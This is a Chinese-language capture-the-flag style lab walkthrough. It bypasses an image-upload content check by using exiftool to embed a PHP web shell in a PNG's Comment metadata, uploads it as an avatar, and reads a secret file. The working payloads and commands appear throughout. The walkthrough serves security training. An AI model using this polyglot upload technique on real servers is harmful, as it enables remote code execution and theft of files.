第六关 通过多语言格式 Web shell 上传远程执行代码
这一关严格验证,必须是图片的格式,内容也必须是图片的,那么只能通过工具 ExifTool 生成一个php类的图片文件,绕过服务端的限制,上传恶意文件
提示:1、靶场包含易受攻击的图片上传功能
2、尽管它会检查文件的内容以验证其是否为正版图像,但仍可以上传和执行服务器端代码。
**3、上传一个基本的 PHP Web shell,然后使用它来窃取文件 /home/carlos/secret 的内容
具体操作:
1、直接上传恶意文件尝试一下
创建一个名为 exploit.php 的文件,其中包含用于获取 Carlos 密钥内容的脚本。
<?php echo file_get_contents('/home/carlos/secret'); ?>

页面响应错误:报错,上传的文件不是有效的图像

又尝试了之前的绕过的几种方法都不行,那咋办呢?
那么尝试下新方法,创建一个多语言 PHP/JPG 文件,该文件基本上是普通图像,但其元数据中包含PHP 有效负载
在kali上使用exiftool工具创建多语言 PHP/JPG 文件
在kali上使用exiftool,一般是默认装上的
查看工具exiftool安装在哪个目录
which exiftool
先创建个目录:
mkdir work
进入目录:
cd work
放一张原始png图片在work目录下
用工具查看图片确定为图片格式
exiftool tian.png
例如给图片插入一个注释:
exiftool -Comment="by caiofei" tian.png

先插入注释简单演示下:
exiftool -Comment="by caiofei" tian.png
然后查看图片
exiftool tian.png
看到:Comment : by caiofei

插入获取秘钥的一句话木马恶意php代码:
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" tian.png -o webshell.php
查看生成php类的图片文件:
exiftool webshell.php
看到:Comment: <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>

复制webshell.php图片类文件到本机桌面

上传生成的webshell.php图片类文件

恶意文件绕过限制,上传到头像成功

返回我的账户,右击打开头像:
暴露出用户秘钥:znAMSNXv3u0SpAOIPJcVaOfIUaBRCHQC

提交用户秘钥,靶场过关
